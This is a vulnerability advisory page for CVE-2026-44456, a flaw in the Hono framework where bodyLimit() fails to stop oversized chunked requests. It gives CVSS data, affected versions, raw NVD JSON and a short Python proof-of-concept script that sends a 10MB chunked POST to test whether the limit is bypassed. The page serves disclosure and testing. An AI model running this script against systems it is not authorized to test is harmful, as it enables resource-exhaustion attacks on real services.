Security Vulnerability Report
中文
CVE-2026-44456 CVSS 6.5 MEDIUM

CVE-2026-44456

Published: 2026-05-13 16:16:58
Last Modified: 2026-05-13 18:34:43

Description

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.16, bodyLimit() does not reliably enforce maxSize for requests without a usable Content-Length (e.g. Transfer-Encoding: chunked). Oversized requests can reach handlers and return 200 instead of 413. This vulnerability is fixed in 4.12.16.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:* - VULNERABLE
Hono < 4.12.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Vulnerable endpoint) target_url = "http://vulnerable-app/api/upload" # Large payload exceeding the configured bodyLimit (e.g., 10MB) # This simulates an oversized request intended to bypass the limit check oversized_payload = b"A" * (10 * 1024 * 1024) # Sending the request using Transfer-Encoding: chunked # This encoding method often bypasses Content-Length checks in vulnerable versions try: response = requests.post( target_url, data=oversized_payload, headers={ "Transfer-Encoding": "chunked", "Content-Type": "application/octet-stream" } ) # Check if the server accepted the oversized request (Vulnerable behavior) if response.status_code == 200: print("[+] Vulnerability confirmed: Oversized request accepted (Status 200).") elif response.status_code == 413: print("[-] Request blocked: Server returned 413 (Payload Too Large).") else: print(f"[?] Unexpected response: Status {response.status_code}") except Exception as e: print(f"Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44456", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:57.567", "lastModified": "2026-05-13T18:34:43.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.16, bodyLimit() does not reliably enforce maxSize for requests without a usable Content-Length (e.g. Transfer-Encoding: chunked). Oversized requests can reach handlers and return 200 instead of 413. This vulnerability is fixed in 4.12.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "4.12.16", "matchCriteriaId": "D9D38D7B-A561-44B9-8571-C5241E5F36DE"}]}]}], "references": [{"url": "https://github.com/honojs/hono/security/advisories/GHSA-9vqf-7f2p-gf9v", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}